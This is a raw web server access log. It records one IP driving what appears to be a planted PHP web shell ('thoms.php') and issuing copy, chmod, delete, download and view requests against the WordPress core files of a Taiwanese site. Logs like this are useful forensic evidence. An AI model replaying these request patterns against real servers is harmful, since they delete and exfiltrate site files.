45.135.193.11 - - [11/Sep/2026:23:46:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:17 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fregistration-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fregistration-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?chmod=rss.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?chmod=pomo&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11904 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?chmod=http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?chmod=https-migration.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?del=php-ai-client&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?del=class-oembed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /booking-wise2.com.tw/wp-includes/theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fvars.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fvars.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:19 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:19 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:19 -0400] "GET /thoms.php?del=class-feed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:19 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 200 14780 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:19 -0400] "GET /thoms.php?del=media-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:19 -0400] "GET /thoms.php?chmod=class-feed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:19 -0400] "GET /thoms.php?dl=vars.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ferror_log&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ferror_log&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 200 19183 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 200 14447 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /thoms.php?dl=plugin.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 200 14028 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 200 13289 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:20 -0400] "GET /thoms.php?dl=cron.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fformatting.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fformatting.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?chmod=template-canvas.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 200 61499 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?chmod=PHPMailer&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?chmod=class-json.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?dl=update.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=update.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frevision.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frevision.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:21 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59447 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /thoms.php?chmod=template-loader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 200 14303 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpost-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpost-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /thoms.php?chmod=block-bindings&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcategory.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcategory.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 200 14028 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 200 15609 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:22 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:23 -0400] "GET /thoms.php?chmod=default-constants.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:23 -0400] "GET /booking-wise2.com.tw/wp-includes/js/ HTTP/1.1" 200 4171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:23 -0400] "GET /thoms.php?del=class-wp-role.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:23 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:23 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:23 -0400] "GET /thoms.php?del=class-json.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 200 25429 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 200 23488 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:23 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
